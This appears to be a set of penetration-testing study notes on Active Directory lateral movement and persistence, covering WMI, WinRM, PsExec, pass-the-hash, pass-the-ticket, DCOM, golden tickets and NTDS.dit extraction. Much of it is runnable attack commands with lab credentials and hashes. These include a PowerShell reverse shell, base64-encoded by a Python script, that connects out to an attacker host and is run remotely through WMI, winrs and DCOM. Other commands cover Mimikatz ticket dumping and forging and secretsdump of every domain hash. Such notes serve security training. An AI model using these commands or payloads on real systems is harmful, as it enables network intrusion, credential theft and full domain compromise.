AD Lateral Movement
WMI
WMI can create processes via the Create method from the Win32_Process class. It communicates through Remote Procedure Calls (RPC) over port 135 for remote access and uses a higher-range port (19152-65535) for session data.
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"The WMI job returned the PID of the newly created process and a return value of "0", meaning that the process has been created successfully.
If we were logged in on that machine and monitoring Task Manager, we would see the win32calc.exe process appear with jen as the user.
We can convert the above into powershell based:
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;Now that we have our PSCredential object, we need to create a Common Information Model (CIM) via the New-CimSession cmdlet.
To do that, we'll first specify DCOM as the protocol for the WMI session with the New-CimSessionOption cmdlet on the first line. On the second line, we'll create the new session, New-Cimsession against our target IP, using -ComputerName and supply the PSCredential object (-Credential $credential) along with the session options (-SessionOption $Options). Lastly, we'll define 'calc' as the payload to be executed by WMI.
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$command = 'calc';As a final step, we need to tie together all the arguments we configured previously by issuing the Invoke-CimMethod cmdlet and supplying Win32_Process to the ClassName and Create to the MethodName. To send the argument, we wrap them in @{CommandLine =$Command}.
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};We can convert above into a full remoteshell based out of powershell, first convert it into base64:
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)Convert it:
python3 encode.pyExecute it:
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0...AHMAZQAoACkA';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};WinRM
As an alternative method to WMI for remote management, WinRM can be employed for remote host management. WinRM is the Microsoft version of the WS-Management protocol and it exchanges XML messages over HTTP and HTTPS. It uses TCP port 5986 for encrypted HTTPS traffic and port 5985 for plain HTTP.
In addition to its PowerShell implementation, which we'll cover later in this section, WinRM is implemented in numerous built-in utilities, such as winrs (Windows Remote Shell).
For WinRS to work, the domain user needs to be part of the Administrators or Remote Management Users group on the target host.
The winrs utility can be invoked by specifying the target host through the -r: argument and the username with -u: and password with -p. As a final argument, we want to specify the commands to be executed on the remote host. For example, we want to run the hostname and whoami commands to prove that they are running on the remote target.
Since winrs only works for domain users, we'll execute the whole command once we've logged in as jeff on CLIENT74 and provide jen's credentials as command arguments.
winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"Now you can also send a PS based remote shell:
winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JAB..oACkA"PowerShell also has WinRM built-in capabilities called PowerShell remoting, which can be invoked via the New-PSSession cmdlet by providing the IP of the target host along with the credentials in a credential object format similar to what we did previously.
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName 192.168.50.73 -Credential $credential
To take the session:
Enter-PSSession 1For Kali:
evil-winrm -i 192.168.50.220 -u daveadmin -p "password"proxychains -q evil-winrm -i 172.16.127.83 -u hacker-p 'rabbit:)'PSExec:
It is possible to misuse this tool for lateral movement, but three requisites must be met.
First, the user that authenticates to the target machine needs to be part of the Administrators local group.
Second, the ADMIN$ share must be available, and
Third, File and Printer Sharing has to be turned on.
Luckily for us, the last two requirements are already met as they are the default settings on modern Windows Server systems.
To start an interactive session on the remote host, we need to invoke PsExec64.exe with the -i argument, followed by the target hostname prepended with two backslashes. We'll then specify the domain\username as corp\jen for the -u argument and Nexus123! as the password for the -p arguments. Finally, we will include the process we want to execute remotely. Here we will use the command shell.
.\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmdPass the Hash
The Pass the Hash (PtH) technique allows an attacker to authenticate to a remote system or service using a user's NTLM hash instead of the user's plaintext password. Note that this will only work for servers or services using NTLM authentication, not for servers or services using Kerberos authentication.
Many third-party tools and frameworks use PtH to allow users to both authenticate and obtain code execution, including:
PsExec from Metasploit
The mechanics behind them are more or less the same in that the attacker connects to the victim using the Server Message Block (SMB) protocol and performs authentication using the NTLM hash.
Most tools that are built to abuse PtH can be leveraged to start a Windows service (for example, cmd.exe or an instance of PowerShell) and communicate with it using Named Pipes. This is done using the Service Control Manager API.
PtH has three prerequisites that must be met.
First, it requires an SMB connection through the firewall (commonly port 445), and
Second, the Windows File and Printer Sharing feature to be enabled. These requirements are common in internal enterprise environments.
This lateral movement technique also requires the admin share called ADMIN$ to be available. To establish a connection to this share, the attacker must present valid credentials with local administrative permissions. In other words, this type of lateral movement typically requires local administrative rights.
Note that PtH uses the NTLM hash legitimately. However, the vulnerability lies in the fact that we gained unauthorized access to the password hash of a local administrator.
/usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E [email protected]PSExec:
DOMAIN— the domain name (use.for local account)username— the account you’re authenticating astarget_ip— the IP address of the target machineLMHASH— usually00000000000000000000000000000000(if unknown)NTHASH— the actual NTLM hash of the password
psexec.py DOMAIN/username@target_ip -hashes <LMHASH>:<NTHASH>psexec.py .\\[email protected] -hashes 00000000000000000000000000000000:31d6cfe0d16ae931b73c59d7e0c089c0Working command in Kali (Via Proxychains):
proxychains -q python3 /usr/share/doc/python3-impacket/examples/psexec.py 'hello:rabbit:)'@172.16.127.10Overpass the Hash
With overpass the hash, we can "over" abuse an NTLM user hash to gain a full Kerberos Ticket Granting Ticket (TGT). Then we can use the TGT to obtain a Ticket Granting Service (TGS).
To demonstrate this, let's assume we have compromised a workstation (or server) that jen has authenticated to. We'll also assume that the machine is now caching their credentials (and therefore, their NTLM password hash).
We can validate this by opening an Administrative shell and using mimikatz with the sekurlsa::logonpasswords command. The command will dump the cached password hashes.

The essence of the overpass the hash lateral movement technique is to turn the NTLM hash into a Kerberos ticket and avoid the use of NTLM authentication. A simple way to do this is with the sekurlsa::pth command from Mimikatz.
The command requires a few arguments and creates a new PowerShell process in the context of jen. This new PowerShell prompt will allow us to obtain Kerberos tickets without performing NTLM authentication over the network, making this attack different than a traditional pass-the-hash.
As the first argument, we specify /user: and /domain:, setting them to jen and corp.com respectively. We'll specify the NTLM hash with /ntlm: and finally, use /run: to specify the process to create (in this case, PowerShell).
sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershellAt this point, we have a new PowerShell session that allows us to execute commands as jen.
At this point, running the whoami command on the newly created PowerShell session would show jeff's identity instead of jen. While this could be confusing, this is the intended behavior of the whoami utility which only checks the current process's token and does not inspect any imported Kerberos tickets
Let's list the cached Kerberos tickets with klist.
PS C:\Windows\system32> klistNo Kerberos tickets have been cached, but this is expected since jen has not yet performed an interactive login. Let's generate a TGT by authenticating to a network share on the files04 server with net use.

The output has the Kerberos tickets, including the TGT and a TGS for the Common Internet File System (CIFS) service.
We know that ticket #0 is a TGT because the server is krbtgt.
We have now converted our NTLM hash into a Kerberos TGT, allowing us to use any tools that rely on Kerberos authentication (as opposed to NTLM). Here we will use the official PsExec application from Microsoft.
PsExec can run a command remotely but does not accept password hashes. Since we have generated Kerberos tickets and operate in the context of jen in the PowerShell session, we can reuse the TGT to obtain code execution on the files04 host.

Pass the Ticket:
The Pass the Ticket attack takes advantage of the TGS, which may be exported and re-injected elsewhere on the network and then used to authenticate to a specific service. In addition, if the service tickets belong to the current user, then no administrative privileges are required.
In this scenario, we are going to abuse an already existing session of the user dave. The dave user has privileged access to the backup folder located on WEB04 whereas our logged-in user jen does not.
Confirming that jen has no access to the restricted folder, we can now launch mimikatz, enable debug privileges, and export all the TGT/TGS from memory with the sekurlsa::tickets /export command.
privilege::debug
sekurlsa::tickets /export
The above command parsed the LSASS process space in memory for any TGT/TGS, which is then saved to disk in the kirbi mimikatz format.
Inspecting the generated tickets indicates that dave had initiated a session. We can try to inject one of their tickets inside jen's sessions.
We can verify newly generated tickets with dir, filtering out on the kirbi extension.

As many tickets have been generated, we can just pick any TGS ticket in the [email protected] format and inject it through mimikatz via the kerberos::ptt command.
kerberos::ptt [0;12bd0][email protected]
No errors have been thrown, meaning that we should expect the ticket in our session when running klist.

We notice that the dave ticket has been successfully imported in our own session for the jen user.
Let's confirm we have been granted access to the restricted shared folder.

Awesome! We managed to successfully access the folder by impersonating dave's identity after injecting its authentication token into our user's process.
DCOM
The Microsoft Component Object Model (COM) is a system for creating software components that interact with each other. While COM was created for either same-process or cross-process interaction, it was extended to Distributed Component Object Model (DCOM) for interaction between multiple computers over a network.
Both COM and DCOM are very old technologies dating back to the very first editions of Windows. Interaction with DCOM is performed over RPC on TCP port 135 and local administrator access is required to call the DCOM Service Control Manager, which is essentially an API.
Cybereason documented a collection of various DCOM lateral movement techniques, including one discovered by Matt Nelson, which we are covering in this section.
The discovered DCOM lateral movement technique is based on the Microsoft Management Console (MMC) COM application that is employed for scripted automation of Windows systems.
The MMC Application Class allows the creation of Application Objects, which expose the ExecuteShellCommand method under the Document.ActiveView property. As its name suggests, this method allows the execution of any shell command if the authenticated user is authorized, which is the default for local administrators.
We are going to demonstrate this lateral movement attack as the jen user logged in from the already compromised Windows 11 CLIENT74 host.
From an elevated PowerShell prompt, we can instantiate a remote MMC 2.0 application by specifying the target IP of FILES04 as the second argument of the GetTypeFromProgID method.
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))Once the application object is saved into the $dcom variable, we can pass the required argument to the application via the ExecuteShellCommand method. The method accepts four parameters: Command, Directory, Parameters, and WindowState. We're only interested in the first and third parameters, which will be populated with cmd and /c calc, respectively.
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")Having generated the base64 encoded reverse shell with our Python script, we can replace our DCOM payload with it.
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...
AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")AD Persistence:
Golden Ticket:
Returning to the explanation of Kerberos authentication, we'll recall that when a user submits a request for a TGT, the KDC encrypts the TGT with a secret key known only to the KDCs in the domain. This secret key is the password hash of a domain user account called krbtgt.
If we can get our hands on the krbtgt password hash, we could create our own self-made custom TGTs, also known as golden tickets.
Although this technique's name resembles the Silver Ticket one that we encountered in the Attacking Authentication Module, Golden Tickets provide a more powerful attack vector. While Silver Tickets aim to forge a TGS ticket to access a specific service, Golden Tickets give us permission to access the entire domain's resources, as we'll see shortly.
For example, we could create a TGT stating that a non-privileged user is a member of the Domain Admins group, and the domain controller will trust it because it is correctly encrypted.
This provides a neat way of keeping persistence in an Active Directory environment, but the best advantage is that the krbtgt account password is not automatically changed.
This password is only changed when the domain functional level is upgraded from a pre-2008 Windows server, but not from a newer version. Because of this, it is not uncommon to find very old krbtgt password hashes.
At this stage of the engagement, the golden ticket will require us to have access to a Domain Admin's group account or to have compromised the domain controller itself to work as a persistence method.
With this kind of access, we can extract the password hash of the krbtgt account with Mimikatz.

Having obtained the NTLM hash of the krbtgt account, along with the domain SID, we can now forge and inject our golden ticket.
Creating the golden ticket and injecting it into memory does not require any administrative privileges and can even be performed from a computer that is not joined to the domain.
We'll take the hash and continue the procedure from a compromised workstation.
Let's move back to CLIENT74 as the jen user. Before we generate the golden ticket let's launch mimikatz and delete any existing Kerberos tickets with kerberos::purge.

Now, we'll supply the domain SID (which we can gather with whoami /user) to the Mimikatz kerberos::golden command to create the golden ticket.
This time, we'll use the /krbtgt option instead of /rc4 to indicate we are supplying the password hash of the krbtgt user account. Starting July 2022, Microsoft improved the authentication process, so we'll need to provide an existing account. Let's set the golden ticket's username to jen. Before it didn't matter if the account existed.
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
Mimikatz provides two sets of default values when using the golden ticket option: the user ID and the groups ID. The user ID is set to 500 by default, which is the RID of the built-in administrator for the domain. The values for the groups ID consist of the most privileged groups in Active Directory, including the Domain Admins group.
With the golden ticket injected into memory, let's use PsExec_ to launch a new command prompt with misc::cmd.
Mimikatz provides two sets of default values when using the golden ticket option: the user ID and the groups ID. The user ID is set to 500 by default, which is the RID of the built-in administrator for the domain. The values for the groups ID consist of the most privileged groups in Active Directory, including the Domain Admins group.
With the golden ticket injected into memory, let's use PsExec_ to launch a new command prompt with misc::cmd.
Great! We now have an interactive command prompt on the domain controller. Now let's use the whoami command to verify that our user jen is now part of the Domain Admin group.

Note that by creating our own TGT and then using PsExec, we are performing the overpass the hash attack by leveraging Kerberos authentication as we discussed earlier in this Module.
If we were to connect PsExec to the IP address of the domain controller instead of the hostname, we would instead force the use of NTLM authentication and access would still be blocked.
Shadow Copies
As domain admins, we can abuse the vshadow utility to create a Shadow Copy that will allow us to extract the Active Directory Database NTDS.dit database file. Once we've obtained a copy of the database, we need the SYSTEM hive, and then we can extract every user credential offline on our local Kali machine.
To start, we'll connect as the jeffadmin domain admin user to the DC1 domain controller. Here we will launch an elevated command prompt and run the vshadow utility with -nw options to disable writers, which speeds up backup creation and include the -p option to store the copy on disk.
vshadow.exe -nw -p C:
Once the snapshot has been taken successfully, we should take note of the shadow copy device name.
We'll now copy the whole AD Database from the shadow copy to the C: drive root folder by specifying the shadow copy device name and adding the full ntds.dit path.
C:\Tools>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
1 file(s) copied.As a last ingredient, to correctly extract the content of ntds.dit, we need to save the SYSTEM hive from the Windows registry. We can accomplish this with the reg utility and the save argument.
C:\>reg.exe save hklm\system c:\system.bakOnce the two .bak files are moved to our Kali machine, we can continue extracting the credential materials with the secretsdump tool from the impacket suite. We'll supply the ntds database with the -ntds parameter and the system hive with the -system parameter. Then we will tell impact to parse the files locally by adding the LOCAL keyword.
kali@kali:~$ impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
Great! We managed to obtain NTLM hashes and Kerberos keys for every AD user. We can now try to crack them or use as-is in pass-the-hash attacks.
While these methods might work fine, they leave an access trail and may require us to upload tools. An alternative is to abuse AD functionality itself to capture hashes remotely from a workstation.
To do this, we could move laterally to the domain controller and run Mimikatz to dump the password hash of every user, using the DC sync method described in the previous Module. This is a less conspicuous persistence technique that we can misuse.
Standin (Only works over RDP)
Get polices from DC
standin.exe --gpoSearch Policy with display Name and see what rights are assigned to your user.
\StandIn.exe --gpo --filter "Default Domain Policy" --aclGet yourself added as localadmin on all the systems. Wait for 10 mins to get the policy updated on all systems.
.\StandIn.exe --gpo --filter "Default Domain Policy" --localadmin charlotteThen use Evil-WinRM to get a shell into the box.
Last updated